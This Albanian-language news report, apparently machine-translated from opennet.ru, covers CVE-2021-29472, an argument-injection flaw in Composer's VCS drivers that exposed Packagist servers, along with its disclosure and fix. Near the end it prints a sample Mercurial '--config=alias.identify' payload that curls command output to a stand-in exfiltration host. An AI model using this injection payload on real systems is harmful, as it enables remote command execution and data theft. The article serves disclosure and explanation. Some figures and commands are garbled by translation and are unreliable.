Dobësi në menaxherin e paketave Composer që lejon kompromisin e depove të Packagist PHP

Një cenueshmëri kritike (CVE-2021-29472) është identifikuar në menaxherin e varësisë së Kompozitorit që lejon ekzekutimin e komandave arbitrare në sistem kur përpunohet një paketë me një vlerë URL të formatuar posaçërisht që specifikon adresën për shkarkimin e kodit burimor. Problemi shfaqet në komponentët GitDriver, SvnDriver dhe HgDriver që përdoren kur përdoren sistemet e kontrollit të burimit Git, Subversion dhe Mercurial. Dobësia u zgjidh në versionet 1.10.22 dhe 2.0.13 të Composer.

Vihet re në mënyrë specifike se problemi preku kryesisht depon e paracaktuar të paketave të Composer, Packagist, i cili përmban 306 paketa për zhvilluesit e PHP dhe shërben më shumë se 1.4 miliardë shkarkime në muaj. Eksperimenti tregoi se nëse kishte njohuri për problemin, sulmuesit mund të fitonin kontrollin e infrastrukturës Packagist dhe të kapnin kredencialet e mirëmbajtësve ose të ridrejtonin shkarkimet e paketave në një server të palës së tretë, duke organizuar shpërndarjen e varianteve të paketave me ndryshime keqdashëse për të zëvendësuar një prapavijë gjatë procesit të instalimit të varësisë.

Rreziku për përdoruesit fundorë kufizohet në faktin se përmbajtja e composer.json zakonisht përcaktohet nga përdoruesi dhe lidhjet e burimit transmetohen kur hyni në depo të palëve të treta, të cilat zakonisht janë të besueshme. Goditja kryesore ra mbi depo Packagist.org dhe shërbimin Private Packagist, i cili e quajti Composer me transferimin e të dhënave të marra nga përdoruesit. Sulmuesit mund të ekzekutojnë kodin e tyre në serverët Packagist duke vendosur një paketë të krijuar posaçërisht.

Ekipi i Packagist e rregulloi cenueshmërinë brenda 12 orëve nga raportimi i dobësisë. Studiuesit njoftuan privatisht zhvilluesit e Packagist më 22 prill dhe problemi u zgjidh në të njëjtën ditë. Një përditësim publik për Composer që adreson cenueshmërinë u publikua më 27 prill, me detaje të zbuluara më 28 prill. Një auditim i regjistrave në serverët e Packagist nuk zbuloi ndonjë aktivitet të dyshimtë në lidhje me cenueshmërinë.

Problemi shkaktohet nga një gabim në kodin e verifikimit të URL-së në skedarin root composer.json dhe lidhjet e shkarkimit të burimit. Gabimi ka qenë i pranishëm në kod që nga nëntori 2011. Packagist përdor shtresa të veçanta për të organizuar ngarkimin e kodit pa u lidhur me një sistem të caktuar të kontrollit të burimit, të cilat ekzekutohen duke thirrur "fromShellCommandline" dhe duke kaluar argumentet e linjës së komandës. Për shembull, për git, thirret komanda "git ls-remote -heads $URL", ku URL-ja përpunohet duke përdorur metodën "ProcessExecutor::escape($url)", duke i shpëtuar konstrukteve potencialisht të rrezikshme si "$(. ..)" ose "` ...`".

Thelbi i problemit është se metoda ProcessExecutor::escape nuk i shpëtoi sekuencës "—", e cila lejoi që çdo parametër i thirrjes shtesë të specifikohej në URL. Një ikje e tillë mungonte në drejtuesit e GitDriver.php, SvnDriver.php dhe HgDriver.php. Sulmi GitDriver.php u pengua nga fakti se komanda "git ls-remote" nuk mbështeti specifikimin e argumenteve shtesë pas shtegut. Një sulm në HgDriver.php doli të ishte i mundur duke kaluar parametrin "--config" në programin "hq", i cili ju lejon të organizoni ekzekutimin e çdo komande duke manipuluar cilësimin "alias.identify". Për shembull, për të shkarkuar dhe ekzekutuar kodin duke ekzekutuar programin curl, mund të specifikoni: —config=alias.identify=!curl http://exfiltration-host.tld —të dhënat “$(ls -alh)”

Duke postuar një paketë testimi me një URL të ngjashme me Packagist, studiuesit verifikuan që pas postimit, serveri i tyre mori një kërkesë HTTP nga një prej serverëve Packagist në AWS që përmban një listë skedarësh në drejtorinë aktuale.

Burimi: opennet.ru

Shto një koment